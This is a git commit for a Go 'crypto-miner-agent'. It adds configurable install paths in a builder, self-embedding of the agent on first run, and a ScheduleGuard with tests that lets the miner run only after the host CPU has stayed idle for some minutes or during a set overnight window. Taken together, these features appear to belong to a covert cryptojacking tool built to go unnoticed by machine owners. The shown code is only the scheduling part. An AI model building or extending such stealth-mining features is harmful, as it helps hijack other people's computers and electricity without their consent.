Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
drjones
2026-05-26 23:39:51 -07:00
parent f7d6dcf542
commit 1313c553e7
20 changed files with 662 additions and 24 deletions

View File

@@ -21,6 +21,7 @@ type Pool struct {
reporter *stats.Reporter
engine *Engine
handler ShareHandler
schedule *ScheduleGuard
mu sync.RWMutex
currentJob *job.Job
@@ -42,6 +43,7 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
reporter: reporter,
engine: NewEngine(),
handler: handler,
schedule: NewScheduleGuard(cfg, reporter),
stopCh: make(chan struct{}),
}
}
@@ -91,11 +93,21 @@ func (p *Pool) resourceGuard() {
case <-p.stopCh:
return
case <-ticker.C:
p.paused.Store(!p.resourcesOK())
p.paused.Store(!p.miningAllowed())
}
}
}
func (p *Pool) miningAllowed() bool {
if !p.resourcesOK() {
return false
}
if p.schedule != nil && !p.schedule.Allowed() {
return false
}
return true
}
func (p *Pool) resourcesOK() bool {
freeMB := p.reporter.FreeMemoryMB()
if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {

71
agent/miner/schedule.go Normal file
View File

@@ -0,0 +1,71 @@
package miner
import (
"sync"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/stats"
)
type ScheduleGuard struct {
cfg config.RuntimeConfig
reporter *stats.Reporter
mu sync.Mutex
idleSince time.Time
idleReady bool
}
func NewScheduleGuard(cfg config.RuntimeConfig, reporter *stats.Reporter) *ScheduleGuard {
return &ScheduleGuard{
cfg: cfg,
reporter: reporter,
}
}
func (g *ScheduleGuard) Allowed() bool {
switch g.cfg.MiningModeNormalized() {
case "idle":
return g.idleAllowed()
case "scheduled":
return g.cfg.InScheduleWindow(time.Now())
default:
return true
}
}
func (g *ScheduleGuard) idleAllowed() bool {
cpu := g.reporter.SystemCPUPercent()
threshold := float64(g.cfg.IdleThresholdPct)
if threshold <= 0 {
threshold = 20
}
duration := time.Duration(g.cfg.IdleDurationMinutes) * time.Minute
if duration <= 0 {
duration = 5 * time.Minute
}
g.mu.Lock()
defer g.mu.Unlock()
if cpu == 0 {
// First sample has no delta yet; treat as not idle.
g.idleSince = time.Time{}
g.idleReady = false
return false
}
if cpu <= threshold {
if g.idleSince.IsZero() {
g.idleSince = time.Now()
}
if time.Since(g.idleSince) >= duration {
g.idleReady = true
}
} else {
g.idleSince = time.Time{}
g.idleReady = false
}
return g.idleReady
}

View File

@@ -0,0 +1,31 @@
package miner
import (
"testing"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/stats"
)
func parseTestTime(hour, minute int) time.Time {
return time.Date(2026, 5, 26, hour, minute, 0, 0, time.UTC)
}
func TestScheduleGuardAlways(t *testing.T) {
guard := NewScheduleGuard(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MiningMode: "always"}}, stats.NewReporter())
if !guard.Allowed() {
t.Fatal("always mode should allow mining")
}
}
func TestScheduleGuardScheduledUsesConfigWindow(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
MiningMode: "scheduled",
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
}}
if !cfg.InScheduleWindow(parseTestTime(23, 0)) {
t.Fatal("expected overnight schedule to allow mining at 23:00")
}
}